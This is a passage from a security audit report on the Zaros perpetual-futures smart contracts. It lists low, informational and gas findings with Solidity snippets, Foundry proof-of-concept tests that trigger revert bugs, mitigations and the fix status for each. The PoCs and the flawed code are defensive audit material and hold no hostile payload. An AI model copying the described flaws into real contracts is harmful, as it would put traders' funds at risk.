    oldPosition.getAccruedFunding(ctx.fundingFeePerUnit)
).add(unary(ctx.orderFeeUsdX18.add(ctx.settlementFeeUsdX18.intoSD59x18())));


ctx.pnl = -1000 + (unary(-100 + 200))
        = -1000 + (unary(100))
        = -1000 - 100
        = -1100

=> ctx.pnl decreased by delta between order fee and settlement fee

UD60x18 marginToDeductUsdX18 = ctx.orderFeeUsdX18.add(ctx.settlementFeeUsdX18.intoSD59x18()).gt(SD_ZERO)
    ? ctx.pnl.abs().intoUD60x18().sub(ctx.orderFeeUsdX18.intoUD60x18().add(ctx.settlementFeeUsdX18))
    : ctx.pnl.abs().intoUD60x18();

marginToDeductUsdX18 =
↪  ctx.pnl.abs().intoUD60x18().sub(ctx.orderFeeUsdX18.intoUD60x18().add(ctx.settlementFeeUsdX18))
                    = 1100 - (100 + 200) // -100 order fee becomes 100 due to non-reverting
                    ↪  `intoUD60x18`
                    = 1100 - 300
                    = 800

=> marginToDeductUsdX18 much lower than what should be deducted
```

Impact: `SettlementBranch::_fillOrder` might revert unexpectedly.

Recommended Mitigation: It has the same mitigation as another low issue - `SettlementBranch::_fillOrder reverts if absolute value of negative PNL is smaller than sum of order and settlement fees .`

Zaros: Fixed in commit e03228e by no longer supporting negative fees; both `makerFee` and `takerFee` are now unsigned.

Cyfrin: Verified.

7.4.3 Remove max open interest check when liquidating in `LiquidationBranch::liquidateAccounts`

Description: In `LiquidationBranch::liquidateAccounts` there is no point calling `PerpMarket::checkOpenInterestLimits` since:

- the liquidation will always be decreasing the open interest so the liquidation can't cause the max open interest limit to be breached
- the skew check is not performed

Hence there is no need for this check when liquidating. The danger of having this check is that if the admin sets the max open interest limit below the current open interest then all liquidations will revert.

Recommended Mitigation:

```
- (ctx.newOpenInterestX18, ctx.newSkewX18) = perpMarket.checkOpenInterestLimits(
-     ctx.liquidationSizeX18, ctx.oldPositionSizeX18, sd59x18(0), false
- );
```

Zaros: Fixed in commit 783ea67.

Cyfrin: Verified.

7.4.4 Gracefully handle state where perp market `maxOpenInterest` is updated to be smaller than the current open interest

Description: `GlobalConfigurationBranch::updatePerpMarketConfiguration` only enforces that `maxOpenInterest != 0` then calls `MarketConfiguration::update` which sets `maxOpenInterest` to an arbitrary non-zero value.

This means that protocol admins can update `maxOpenInterest` to be smaller than the current open interest. This state in turn causes many transactions for that market including liquidations to fail because of the check in `PerpMarket::checkOpenInterestLimits`.

Recommended Mitigation: The first option is to prevent `maxOpenInterest` from being updated to be smaller than the current open interest. However there may be a valid reason to do this for example if the protocol admins want to reduce the size of a current market to limit exposure.

So another option is to modify the check in `PerpMarket::checkOpenInterestLimits` to be similar to the `skew` check; the transaction would be allowed if it is reducing the current open interest, even if the reduced value is still greater than the currently configured `maxOpenInterest`.

Zaros: Fixed in commit 8a3436c.

Cyfrin: Verified.

7.4.5 `MarketOrder` minimum lifetime can be easily bypassed

Description: `OrderBranch::createMarketOrder` validates the `marketOrderMinLifetime` of the previous pending market order before canceling it and opening a new market order:

```
File: OrderBranch.sol
                // @audit `createMarketOrder` enforces minimum market order lifetime
210:            marketOrder.checkPendingOrder();
211:            marketOrder.update({ marketId: params.marketId, sizeDelta: params.sizeDelta });

File: MarketOrder.sol
55:     function checkPendingOrder(Data storage self) internal view {
56:         GlobalConfiguration.Data storage globalConfiguration = GlobalConfiguration.load();
57:         uint128 marketOrderMinLifetime = globalConfiguration.marketOrderMinLifetime;
58:
59:         if (self.timestamp != 0 && block.timestamp - self.timestamp <= marketOrderMinLifetime) {
60:             revert Errors.MarketOrderStillPending(self.timestamp);
61:         }
62:     }
```

But in `OrderBranch::cancelMarketOrder` users can cancel the pending market order without any validation:

```
File: OrderBranch.sol
219:     function cancelMarketOrder(uint128 tradingAccountId) external {
```

```
220:         MarketOrder.Data storage marketOrder = MarketOrder.loadExisting(tradingAccountId);
221:         // @audit doesn't enforce minimum market order lifetime
222:         marketOrder.clear();
223:
224:         emit LogCancelMarketOrder(msg.sender, tradingAccountId);
225:     }
```

Hence users can cancel their previous market order and open a new order anytime by calling `cancelMarketOrder` first.

Impact: The `marketOrderMinLifetime` requirement can be bypassed by calling `cancelMarketOrder` first.

Recommended Mitigation: `cancelMarketOrder` should check the `marketOrderMinLifetime` requirement.

```
    function cancelMarketOrder(uint128 tradingAccountId) external {
        MarketOrder.Data storage marketOrder = MarketOrder.loadExisting(tradingAccountId);

+       marketOrder.checkPendingOrder();

        marketOrder.clear();

        emit LogCancelMarketOrder(msg.sender, tradingAccountId);
    }
```

Zaros: Fixed in commit 41eae0e.

Cyfrin: Verified.

7.4.6 Protocol team can censor traders via centralized keepers

Description: The protocol team can censor traders since:

- only keepers can fulfill trader market orders
- the protocol team control which addresses can be keepers

Impact: The protocol team can censor traders by never filling their orders; eg they could prevent a trader from closing their opened leveraged position which severely disadvantages that trader because they remain subject to liquidation if the market moves against their position.

The protocol team could also favor some traders over others by choosing a specific order to fill pending trades which benefit some traders over others.

Recommended Mitigation: In terms of getting version 1 of the protocol to mainnet, it is easier and simpler to go with centralized keepers and gives the protocol team more control over the protocol. There is also likely little risk of the protocol team abusing this mechanic because it would destroy trust in the protocol. However long-term it would be ideal to move to decentralized keepers.

Zaros: Acknowledged.

7.4.7 Protocol team can preferentially refuse to liquidate traders via centralized liquidators

Description: The protocol team can preferentially refuse to liquidate traders since:

- only liquidators can liquidate traders subject to liquidation
- the protocol team control which addresses can be liquidators

Impact: The protocol team can refuse to liquidate some traders (for example if some trading accounts are operated by the protocol and/or team members) allowing them to attempt to ride out unfavorable market movements without liquidation, giving them an advantage over other traders.

Recommended Mitigation: In terms of getting version 1 of the protocol to mainnet, it is easier and simpler to go with centralized liquidators and gives the protocol team more control over the protocol. There is also likely little risk of the protocol team abusing this mechanic because it would destroy trust in the protocol. However long-term it would be ideal to move to decentralized liquidators.

Zaros: Acknowledged.

7.4.8 Traders can't limit slippage and expiration time when creating market orders

Description: Traders can't limit slippage and expiration time when creating market orders.

Impact: Traders' orders may be filled later and at a less favorable price than they were expecting.

Recommended Mitigation: Allow traders to specify the maximum slippage (acceptable price) they are willing to accept and the expiration time by which the order must be filled.

The price should be verified against the "Mark Price" which is stored in `ctx.fillPrice` in `SettlementBranch::_fillOrder`.

Interestingly in `leaves/MarketOrder.sol` the `Data` struct has a `timestamp` variable which is the timestamp when the trader created their order, but this is never checked when the order is filled.

Zaros: In commit 62c0e61 we have implemented a new "Off-Chain" order feature which allows users to specify a `targetPrice`. This feature is flexible enough to implement limit, stop, tp/sl and other types of trigger-based orders using some additional off-chain code.

Cyfrin: Verified that this new feature does provide a way for users to enforce slippage via the `targetPrice` condition. The new feature doesn't provide a deadline check but that is less important as presumably users are watching the status of the order and can cancel it off-chain. Also note that the security of this new feature has not been evaluated during this audit but will be evaluated in the competitive audit to follow.

7.4.9 `SettlementBranch::_fillOrder` reverts if absolute value of PNL is smaller than sum of order and settlement fees

Description: `SettlementBranch::_fillOrder` calculates the position's PNL as `pnl = unrealizedPnl + accruedFunding + unary(orderFee + settlementFee)`:

```
File: SettlementBranch.sol
141: ctx.pnl = oldPosition.getUnrealizedPnl(ctx.fillPrice).add(
142:     oldPosition.getAccruedFunding(ctx.fundingFeePerUnit)
143:     ).add(unary(ctx.orderFeeUsdX18.add(ctx.settlementFeeUsdX18.intoSD59x18())));
144:
```

If PNL is positive and unrealized_pnl + accrued_funding < order_fee + settlement_fee this will revert due to underflow.

If the PNL is negative an amount is deduced from the account's margin:

```
171: if (ctx.pnl.lt(SD_ZERO)) {
172:     UD60x18 marginToDeductUsdX18 =
↪  ctx.orderFeeUsdX18.add(ctx.settlementFeeUsdX18.intoSD59x18()).gt(SD_ZERO)
         // @audit can revert with underflow if abs(pnl) < order_fee+settlement_fee
173:     ?
↪  ctx.pnl.abs().intoUD60x18().sub(ctx.orderFeeUsdX18.intoUD60x18().add(ctx.settlementFeeUsdX18))
174:     : ctx.pnl.abs().intoUD60x18();
175:
176:     tradingAccount.deductAccountMargin({
177:         feeRecipients: FeeRecipients.Data({
178:         marginCollateralRecipient: globalConfiguration.marginCollateralRecipient,
179:         orderFeeRecipient: globalConfiguration.orderFeeRecipient,
180:         settlementFeeRecipient: globalConfiguration.settlementFeeRecipient
181:     }),
```

```
182:     pnlUsdX18: marginToDeductUsdX18,
183:     orderFeeUsdX18: ctx.orderFeeUsdX18.gt(SD_ZERO) ? ctx.orderFeeUsdX18.intoUD60x18() : UD_ZERO,
184:     settlementFeeUsdX18: ctx.settlementFeeUsdX18
185:     });
```

The first condition of the `marginToDeductUsdX18` calculation at L173 will revert due to underflow if:

- the trader has a loss (negative PNL)
- the absolute value of the loss is smaller than the sum of the order/settlement fees

Proof of Concept: Add the following PoCs to `test/integration/perpetuals/order-branch/createMarketOrder/createMarketOrder.t.sol`:

```
function test_OrderRevertsUnderflowWhenPositivePnlLessThanFees() external {
    // give naruto some tokens
    uint256 USER_STARTING_BALANCE = 100_000e18;
    int128  USER_POS_SIZE_DELTA   = 0.002e18;
    deal({ token: address(usdToken), to: users.naruto, give: USER_STARTING_BALANCE });

    // naruto creates a trading account and deposits their tokens as collateral
    changePrank({ msgSender: users.naruto });
    uint128 tradingAccountId = createAccountAndDeposit(USER_STARTING_BALANCE, address(usdToken));

    // naruto opens position in BTC market
    openManualPosition(BTC_USD_MARKET_ID, BTC_USD_STREAM_ID, MOCK_BTC_USD_PRICE, tradingAccountId,
    ↪  USER_POS_SIZE_DELTA);

    // market moves slightly against Naruto's position
    // giving Naruto's position a slightly negative PNL
    updateMockPriceFeed(BTC_USD_MARKET_ID, MOCK_BTC_USD_PRICE+1);

    // naruto attempts to close their position
    changePrank({ msgSender: users.naruto });

    // reverts due to underflow
    openManualPosition(BTC_USD_MARKET_ID, BTC_USD_STREAM_ID, MOCK_BTC_USD_PRICE, tradingAccountId,
    ↪  -USER_POS_SIZE_DELTA/2);
}

function test_OrderRevertsUnderflowWhenNegativePnlLessThanFees() external {
    // give naruto some tokens
    uint256 USER_STARTING_BALANCE = 100_000e18;
    int128  USER_POS_SIZE_DELTA   = 0.002e18;
    deal({ token: address(usdToken), to: users.naruto, give: USER_STARTING_BALANCE });

    // naruto creates a trading account and deposits their tokens as collateral
    changePrank({ msgSender: users.naruto });
    uint128 tradingAccountId = createAccountAndDeposit(USER_STARTING_BALANCE, address(usdToken));

    // naruto opens position in BTC market
    openManualPosition(BTC_USD_MARKET_ID, BTC_USD_STREAM_ID, MOCK_BTC_USD_PRICE, tradingAccountId,
    ↪  USER_POS_SIZE_DELTA);

    // market moves slightly against Naruto's position
    // giving Naruto's position a slightly negative PNL
    updateMockPriceFeed(BTC_USD_MARKET_ID, MOCK_BTC_USD_PRICE-1);

    // naruto attempts to partially close their position
    changePrank({ msgSender: users.naruto });

    // reverts due to underflow
```

```
    openManualPosition(BTC_USD_MARKET_ID, BTC_USD_STREAM_ID, MOCK_BTC_USD_PRICE, tradingAccountId,
    ↪  -USER_POS_SIZE_DELTA/2);
}
```

Run with:

- `forge test --match-test test_OrderRevertsUnderflowWhenPositivePnlLessThanFees -vvv`
- `forge test --match-test test_OrderRevertsUnderflowWhenNegativePnlLessThanFees -vvv`

Recommended Mitigation: Refactor how old position PNL is settled and order/settlement fees are paid.

Zaros: Fixed in commit 516bc2a.

Cyfrin: Verified.

7.4.10 `PerpMarket::getOrderFeeUsd` incorrectly charges `makerFee` when skew is zero and trade is buy order

Description: In `PerpMarket::getOrderFeeUsd` there is this comment to which I've added (*) at the end:

```
/// @dev When the skew is zero, taker fee will be charged. (*)
```

But doing a truth table for the `if` statement's boolean expression shows this comment is not always true:

```
// isSkewGtZero = true,  isBuyOrder = true  -> taker fee
// isSkewGtZero = true,  isBuyOrder = false -> maker fee
// isSkewGtZero = false, isBuyOrder = true  -> maker fee (*)
// isSkewGtZero = false, isBuyOrder = false -> taker fee
if (isSkewGtZero != isBuyOrder) {
    // not equal charge maker fee
    feeBps = sd59x18((self.configuration.orderFees.makerFee));
} else {
    // equal charge taker fee
    feeBps = sd59x18((self.configuration.orderFees.takerFee));
}
```

When `isSkewGtZero == false && isBuyOrder = true`, the *maker* fee will be charged, even though the skew is zero and hence this order is causing the skew. This behavior is the opposite of what the comment says should happen, and logically the *taker* fee should be charged if the trade causes the skew.

Impact: Incorrect fee is charged.

Recommended Mitigation: When `isSkewGtZero == false && isBuyOrder = true` the *taker* fee should be charged since the trader is causing the skew.

Zaros: Fixed in commits 534b089 and 5822b19.

Cyfrin: Verified.

7.4.11 `PerpMarket::getOrderFeeUsd` rewards traders who flip the skew with `makerFee` for the full trade

Description: `PerpMarket::getOrderFeeUsd` rewards traders who flip the skew with `makerFee` for the full trade. This is not ideal as since the trader has flipped the skew, their trade has partly created the opposite skew so their trade has been partly a `taker` not just a `maker`.

Impact: Traders pay slightly less fees than they should when flipping the skew by getting the full `makerFee` instead of only partially.

Recommended Mitigation: When a trade flips the skew, the trader should only pay `makerFee` on the part of the trade which moved the skew to zero. Then the trader should pay `takerFee` for the remaining part of the trade which flipped the skew.

Zaros: Fixed in commit 5822b19.

Cyfrin: Verified.

7.4.12 `OrderBranch::getMarginRequirementForTrade` doesn't include order and settlement fees when calculating margin requirements

Description: `OrderBranch::getMarginRequirementForTrade` doesn't include order and settlement fees when calculating margin requirements but this occurs in other places such as `OrderBranch::createMarketOrder`.

Impact: `OrderBranch::getMarginRequirementForTrade` will return lower collateral requirements than actually required. This function doesn't appear to be used anywhere by the smart contracts so possibly only affects the user interface.

Recommended Mitigation: `OrderBranch::getMarginRequirementForTrade` should factor in the order and settlement fees when calculating margin requirements; it could copy `OrderBranch::simulateTrade` which does this:

```
orderFeeUsdX18 = perpMarket.getOrderFeeUsd(sd59x18(sizeDelta), fillPriceX18);
settlementFeeUsdX18 = ud60x18(uint256(settlementConfiguration.fee));
```

Zaros: Fixed in commit 5542a04.

Cyfrin: Verified.

7.5 Informational

7.5.1 Unused variables

Description: Some errors and constants aren't used in the codebase.

```
File: Errors.sol
11:     error InvalidParameter(string parameter, string reason);
38:     error OnlyForwarder(address sender, address forwarder);
79:     error InvalidLiquidationReward(uint128 liquidationFeeUsdX18);

File: Constants.sol
10:     uint32 internal constant MAX_MIN_DELEGATE_TIME = 30 days;
```

Zaros: Fixed in commit 37071ed.

Cyfrin: Verified.

7.5.2 Return more suitable error type when `params.initialMarginRateX18 <= params.maintenanceMarginRateX18`

Description: In `GlobalConfigurationBranch::createPerpMarket`, the following two error cases both return the `ZeroInput` error type:

```
if (params.initialMarginRateX18 <= params.maintenanceMarginRateX18) {
    revert Errors.ZeroInput("initialMarginRateX18");
}
if (params.initialMarginRateX18 == 0) {
    revert Errors.ZeroInput("initialMarginRateX18");
}
```

In the first case where `initialMarginRateX18 < maintenanceMarginRateX18` the error is misleading; a more suitable error type such as `InvalidParameter` should be returned.

The same occurs in `GlobalConfigurationBranch::updatePerpMarketConfiguration` but there the second check `initialMarginRateX18 == 0` is omitted; consider whether to add this check in.

The second validation may be redundant because the first validation will always revert first; if a specific error is desired for the zero case then perform it first, otherwise consider removing it.

Zaros: Fixed in commit c35e2be.

Cyfrin: Verified.

7.5.3 Standardize `accountId` data type

Description: The `accountId` uses different data types in different contracts:

- `uint96` in `GlobalConfiguration::Data`
- `uint128` in `TradingAccount::Data` and `TradingAccountBranch::createTradingAccount`
- `uint256` in `AccountNFT`.

Recommended Mitigation: Standardize on one data type everywhere.

Zaros: We'll use uint128 data type as default, but:

- `uint96` in `GlobalConfiguration::Data` in order to pack the storage values
- `uint256` in AccountNFT to override `ERC721::_update`

7.5.4 The `LogConfigureMarginCollateral` event doesn't emit `loanToValue`

Description: The LogConfigureMarginCollateral event omits `loanToValue` during a margin collateral configuration.

Recommended Mitigation: Recommend emitting `loanToValue` also.

Zaros: Fixed in commit aef72cd.

Cyfrin: Verified.

7.5.5 Inconsistent validation while creating/updating a perp market

Description: `GlobalConfigurationBranch::createPerpMarket` reverts if `maxFundingVelocity` is zero but the same check doesn't occur in `GlobalConfigurationBranch::updatePerpMarketConfiguration`.

Recommended Mitigation: Consider applying the same validations when creating and updating a perp market.

Zaros: Fixed in commit ad2bcb1.

Cyfrin: Verified.

7.5.6 `GlobalConfigurationBranch::updateSettlementConfiguration` can be called for a non-existent `marketId`

Description: `GlobalConfigurationBranch::updateSettlementConfiguration` doesn't validate if the `marketId` exists:

```
function updateSettlementConfiguration(
    uint128 marketId,
    uint128 settlementConfigurationId,
    SettlementConfiguration.Data memory newSettlementConfiguration
)
    external
    onlyOwner
{
    SettlementConfiguration.update(marketId, settlementConfigurationId, newSettlementConfiguration);

    emit LogUpdateSettlementConfiguration(msg.sender, marketId, settlementConfigurationId);
}
```

But other functions like `updatePerpMarketStatus` do validate that the `marketId` exists:

```
function updatePerpMarketStatus(uint128 marketId, bool enable) external onlyOwner {
    GlobalConfiguration.Data storage globalConfiguration = GlobalConfiguration.load();
    PerpMarket.Data storage perpMarket = PerpMarket.load(marketId);

    if (!perpMarket.initialized) {
        revert Errors.PerpMarketNotInitialized(marketId);
    }
```

Recommended Mitigation: Verify `marketId` validity in `updateSettlementConfiguration`.

Zaros: Fixed in commit 75be42e.

Cyfrin: Verified.

7.5.7 Liquidation reverts if collateral price feed returns 0

Description: Liquidation reverts if collateral price feed returns 0. Generally this should never happen as Chainlink price feeds have a `minAnswer` they should always at least return. However since a trader can have a basket of different collateral, it may be worth handling this edge case and trying to liquidate other collateral.

Proof of Concept: Add the following PoC to `test/integration/perpetuals/liquidation-branch/liquidateAccounts/liquidateAccounts.t.sol`:

```
function test_LiquidationRevertsWhenPriceFeedReturnsZero() external {
    // give naruto some wstEth to deposit as collateral
    uint256 USER_STARTING_BALANCE = 1e18;
    int128  USER_POS_SIZE_DELTA   = 1e18;
    deal({ token: address(mockWstEth), to: users.naruto, give: USER_STARTING_BALANCE });

    // naruto creates a trading account and deposits their tokens as collateral
    changePrank({ msgSender: users.naruto });
    uint128 tradingAccountId = createAccountAndDeposit(USER_STARTING_BALANCE, address(mockWstEth));

    // naruto opens first position in BTC market
    openManualPosition(BTC_USD_MARKET_ID, BTC_USD_STREAM_ID, MOCK_BTC_USD_PRICE, tradingAccountId,
    ↪  USER_POS_SIZE_DELTA);

    // price of naruto's collateral has a LUNA-like crash
    // this code occur while the L2 stopped producing blocks
    // as recently happened during the Linea hack such that
    // the liquidation bots could not perform a timely
    // liquidation of the position
    MockPriceFeed wstEthPriceFeed = mockPriceAdapters.mockWstEthUsdPriceAdapter;
    wstEthPriceFeed.updateMockPrice(0);

    // verify naruto can now be liquidated
    uint128[] memory liquidatableAccountsIds = perpsEngine.checkLiquidatableAccounts(0, 1);
    assertEq(1, liquidatableAccountsIds.length);
    assertEq(tradingAccountId, liquidatableAccountsIds[0]);

    // attempt to liquidate naruto
    changePrank({ msgSender: liquidationKeeper });
    // reverts with `panic: division or modulo by zero`
    perpsEngine.liquidateAccounts(liquidatableAccountsIds, users.settlementFeeRecipient);
}
```

Run with: `forge test --match-test test_LiquidationRevertsWhenPriceFeedReturnsZero -vvv`

Zaros: Acknowledged; very unlikely to occur since Chainlink price feeds have in-built minimum prices they will return which are typically > 0.

7.6 Gas Optimization

7.6.1 Use named return variables to save 9 gas per return variable

Description: Use named return variables to save 9 gas per return variable and also simplify function code:

```
File: src/external/ChainlinkUtil.sol
84:         returns (FeeAsset memory)

File: src/perpetuals/branches/OrderBranch.sol
128:         returns (UD60x18, UD60x18) // @audit in getMarginRequirementForTrade()
144:     function getActiveMarketOrder(uint128 tradingAccountId) external pure returns (MarketOrder.Data
↪   memory) {

File: src/perpetuals/leaves/PerpMarket.sol
97:         returns (UD60x18) // @audit in getMarkPrice()

File: src/tree-proxy/RootProxy.sol
50:     function _implementation() internal view override returns (address) {

// @audit refactor to:
function _implementation() internal view override returns (address branch) {
    RootUpgrade.Data storage rootUpgrade = RootUpgrade.load();

    branch = rootUpgrade.getBranchAddress(msg.sig);
    if (branch == address(0)) revert Errors.UnsupportedFunction(msg.sig);
}
```

Zaros: Fixed in commit 4972f52.

Cyfrin: Verified.

7.6.2 Don't initialize variables to default values

Description: Don't initialize variables to default values as this is already done:

```
File: src/tree-proxy/leaves/RootUpgrade.sol
70:         for (uint256 i = 0; i < selectorCount; i++) {
81:         for (uint256 i = 0; i < branchCount; i++) {
97:         for (uint256 i = 0; i < branchUpgrades.length; i++) {
117:         for (uint256 i = 0; i < selectors.length; i++) {
136:         for (uint256 i = 0; i < selectors.length; i++) {
171:         for (uint256 i = 0; i < selectors.length; i++) {
202:         for (uint256 i = 0; i < initializables.length; i++) {

File: src/perpetuals/leaves/GlobalConfiguration.sol
96:         for (uint256 i = 0; i < collateralTypes.length; i++) {

File: src/perpetuals/branches/GlobalConfigurationBranch.sol
185:         for (uint256 i = 0; i < liquidators.length; i++) {

File: src/perpetuals/leaves/PerpMarket.sol
345:             for (uint256 i = 0; i < params.customOrdersConfiguration.length; i++) {

File: src/perpetuals/leaves/TradingAccount.sol
145:         for (uint256 i = 0; i < self.marginCollateralBalanceX18.length(); i++) {
169:         for (uint256 i = 0; i < self.marginCollateralBalanceX18.length(); i++) {
229:         for (uint256 i = 0; i < self.activeMarketsIds.length(); i++) {
264:         for (uint256 i = 0; i < self.activeMarketsIds.length(); i++) {
420:         for (uint256 i = 0; i < globalConfiguration.collateralLiquidationPriority.length(); i++) {
```

```
File: src/perpetuals/branches/TradingAccountBranch.sol
122:         for (uint256 i = 0; i < tradingAccount.activeMarketsIds.length(); i++) {
168:         for (uint256 i = 0; i < tradingAccount.activeMarketsIds.length(); i++) {
241:         for (uint256 i = 0; i < data.length; i++) {

File: src/perpetuals/branches/LiquidationBranch.sol
103:         for (uint256 i = 0; i < accountsIds.length; i++) {
135:             for (uint256 j = 0; j < ctx.amountOfOpenPositions; j++) {
```

Zaros: Fixed in commit 1a7df5c.

Cyfrin: Verified.

7.6.3 Cache memory array length if expected size of array is >= 3

Description: Cache memory array length if expected size of array is >= 3:

```
File: src/tree-proxy/leaves/RootUpgrade.sol
97:         for (uint256 i = 0; i < branchUpgrades.length; i++) {
117:         for (uint256 i = 0; i < selectors.length; i++) {
136:         for (uint256 i = 0; i < selectors.length; i++) {
171:         for (uint256 i = 0; i < selectors.length; i++) {
202:         for (uint256 i = 0; i < initializables.length; i++) {

File: src/perpetuals/leaves/GlobalConfiguration.sol
96:         for (uint256 i = 0; i < collateralTypes.length; i++) {

File: src/perpetuals/leaves/PerpMarket.sol
// @audit the `if` statement can be removed as it is obsolete;
// the `for` loop will never execute if `length == 0`
344:         if (params.customOrdersConfiguration.length > 0) {
345:             for (uint256 i = 0; i < params.customOrdersConfiguration.length; i++) {

File: src/perpetuals/leaves/TradingAccount.sol
145:         for (uint256 i = 0; i < self.marginCollateralBalanceX18.length(); i++) {
169:         for (uint256 i = 0; i < self.marginCollateralBalanceX18.length(); i++) {
229:         for (uint256 i = 0; i < self.activeMarketsIds.length(); i++) {
264:         for (uint256 i = 0; i < self.activeMarketsIds.length(); i++) {
420:         for (uint256 i = 0; i < globalConfiguration.collateralLiquidationPriority.length(); i++) {

File: src/perpetuals/branches/TradingAccountBranch.sol
122:         for (uint256 i = 0; i < tradingAccount.activeMarketsIds.length(); i++) {
168:         for (uint256 i = 0; i < tradingAccount.activeMarketsIds.length(); i++) {

File: src/perpetuals/branches/LiquidationBranch.sol
57:             if (i >= globalConfiguration.accountsIdsWithActivePositions.length()) break;
```

Zaros: Fixed in commit 3c5d345.

Cyfrin: Verified.

7.6.4 Move immutable branch check outside `for` loop in `RootUpgrade::removeBranch`

Description: Move immutable branch check outside `for` loop in `RootUpgrade::removeBranch` - this check should only occur once not during every loop iteration.

Recommended Mitigation:

```
function removeBranch(Data storage self, address branch, bytes4[] memory selectors) internal {
    if (branch == address(this)) {
```

```
        revert Errors.ImmutableBranch();
    }

    for (uint256 i = 0; i < selectors.length; i++) {
        bytes4 selector = selectors[i];
        // also reverts if left side returns zero address
        if (selector == bytes4(0)) {
            revert Errors.SelectorIsZero();
        }
        if (self.selectorToBranch[selector] != branch) {
            revert Errors.CannotRemoveFromOtherBranch(branch, selector);
        }

        delete self.selectorToBranch[selector];
        // slither-disable-next-line unused-return
        self.branchSelectors[branch].remove(selector);
        // if no more selectors in branch, remove branch address
        if (self.branchSelectors[branch].length() == 0) {
            // slither-disable-next-line unused-return
            self.branches.remove(branch);
        }
    }
}
```

Zaros: Fixed in commit 6313b3f.

Cyfrin: Verified.

7.6.5 Optimize away call to `EnumerableSet::contains` in `GlobalConfiguration::configureCollateralLiquidationPrior`

Description: Optimize away call to `EnumerableSet::contains` in `GlobalConfiguration::configureCollateralLiquidationPriority` by using the `bool` result from `EnumerableSet::add`.

Recommended Mitigation:

```
function configureCollateralLiquidationPriority(Data storage self, address[] memory collateralTypes)
↪   internal {
    for (uint256 i = 0; i < collateralTypes.length; i++) {
        if (collateralTypes[i] == address(0)) {
            revert Errors.ZeroInput("collateralType");
        }

        if(!self.collateralLiquidationPriority.add(collateralTypes[i])) {
            revert Errors.MarginCollateralAlreadyInPriority(collateralTypes[i]);
        }
    }
}
```

Zaros: Fixed in commit 5b8e51e.

Cyfrin: Verified.

7.6.6 Remove redundant `uint256` cast in `PerpMarket::getMarkPrice`

Description: Remove redundant `uint256` cast in `PerpMarket::getMarkPrice` since `self.configuration.skewScale` is already `uint256`.

Recommended Mitigation:

```
SD59x18 skewScale = sd59x18(self.configuration.skewScale.toInt256());
```

Zaros: Fixed in commit 560f291.

Cyfrin: Verified.

7.6.7 Cache result of `indexPriceX18.intoSD59x18` in `PerpMarket::getMarkPrice`

Description: Cache result of `indexPriceX18.intoSD59x18` in `PerpMarket::getMarkPrice` instead of re-calculating the same value 4 times.

Impact: This stand-alone test shows caching saves 227 gas per execution:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;

import {UD60x18} from "@prb/math/src/UD60x18.sol";
import {SD59x18} from "@prb/math/src/SD59x18.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {Test, console} from "forge-std/Test.sol";

interface IMath {
    function calc(UD60x18 indexPriceX18,
                  SD59x18 priceImpactBeforeDelta,
                  SD59x18 priceImpactAfterDelta) external pure
             returns (UD60x18 priceBeforeDelta, UD60x18 priceAfterDelta) ;
}

// each function gets its own contract to avoid gas cost due to
// function selector preferring one over another
contract CacheMath is IMath {
    function calc(UD60x18 indexPriceX18,
                  SD59x18 priceImpactBeforeDelta,
                  SD59x18 priceImpactAfterDelta) external pure
             returns (UD60x18 priceBeforeDelta, UD60x18 priceAfterDelta)  {

        SD59x18 cachedVal = indexPriceX18.intoSD59x18();

        priceBeforeDelta = cachedVal.add(cachedVal.mul(priceImpactBeforeDelta)).intoUD60x18();
        priceAfterDelta  = cachedVal.add(cachedVal.mul(priceImpactAfterDelta)).intoUD60x18();
    }
}

contract NoCacheMath is IMath {
    function calc(UD60x18 indexPriceX18,
                  SD59x18 priceImpactBeforeDelta,
                  SD59x18 priceImpactAfterDelta) external pure
             returns (UD60x18 priceBeforeDelta, UD60x18 priceAfterDelta)  {

        priceBeforeDelta =
            indexPriceX18.intoSD59x18().add(indexPriceX18.intoSD59x18().mul(priceImpactBeforeDelta)).in
            ↪  toUD60x18();
        priceAfterDelta =
            indexPriceX18.intoSD59x18().add(indexPriceX18.intoSD59x18().mul(priceImpactAfterDelta)).int
            ↪  oUD60x18();
    }
}

// run from base directory with:
// forge test --match-contract CacheMathGasTest -vvv
```

```
contract CacheMathGasTest is Test {
    GasMeter gasMeter    = new GasMeter();
    IMath    cacheMath   = new CacheMath();
    IMath    noCacheMath = new NoCacheMath();

    uint256 a = 12345667345345564334;
    int256 b  = 3645645897645689746;
    int256 c  = 546546458764565646;

    function test_CacheMathVsNoCacheMath() external {
        UD60x18 a1 = UD60x18.wrap(a);
        SD59x18 b1 = SD59x18.wrap(b);
        SD59x18 c1 = SD59x18.wrap(c);

        // call every function to have gas calculated
        (uint256 cacheMathGas,) = gasMeter.meterCall(
            address(cacheMath),
            abi.encodeWithSelector(IMath.calc.selector, a1, b1, c1)
        );

        (uint256 noCacheMathGas,) = gasMeter.meterCall(
            address(noCacheMath),
            abi.encodeWithSelector(IMath.calc.selector, a1, b1, c1)
        );

        string memory outputStr = string.concat(Strings.toString(cacheMathGas), " ",
                                                Strings.toString(noCacheMathGas));

        // easy spreadsheet input
        console.log(outputStr);
        // cached     = 1886
        // not cached = 2113
        // result: cached version saves 227 gas
    }
}

// taken from https://github.com/orenyomtov/gas-meter/blob/main/test/GasMeter.t.sol
contract GasMeter {
    // output of: huffc --evm-version paris -r src/GasMeter.huff
    bytes internal constant _HUFF_GAS_METER_COMPILED_BYTECODE = (
        hex"5b60003560e01c8063abe770f2146100296101d8015780632b73eefa146100716101d80157600080fd5b3660046
        ↪  0003760005131505a60006000604051606060005151afa905a6080019003600052360600060603e6100606101d801
        ↪  573d6060fd5b60406020523d6040523d6060016000f35b3660046000376000513150 5a60006000604051606034 6
        ↪  000515af1905a6082019003600052360600060603e6100a96101d801573d6060fd5b60406020523d6040523d6060
        ↪  016000f3"
    );
    uint256 internal constant _HUFF_GAS_METER_COMPILED_BYTECODE_OFFSET = 472;

    function meterStaticCall(
        address /*addr*/,
        bytes memory /*data*/
    ) external view returns (uint256 gasUsed, bytes memory returnData) {
        function() internal pure huffGasMeter;
        assembly {
            huffGasMeter := _HUFF_GAS_METER_COMPILED_BYTECODE_OFFSET
        }
        huffGasMeter();

        // Just to trick the compiler into including the bytecode
        // This code will never be executed, because huffGasMeter() will return or revert
        bytes memory r = _HUFF_GAS_METER_COMPILED_BYTECODE;
        return (r.length, r);
```

```
    }

    function meterCall(
        address /*addr*/,
        bytes memory /*data*/
    ) external returns (uint256 gasUsed, bytes memory returnData) {
        function() internal pure huffGasMeter;
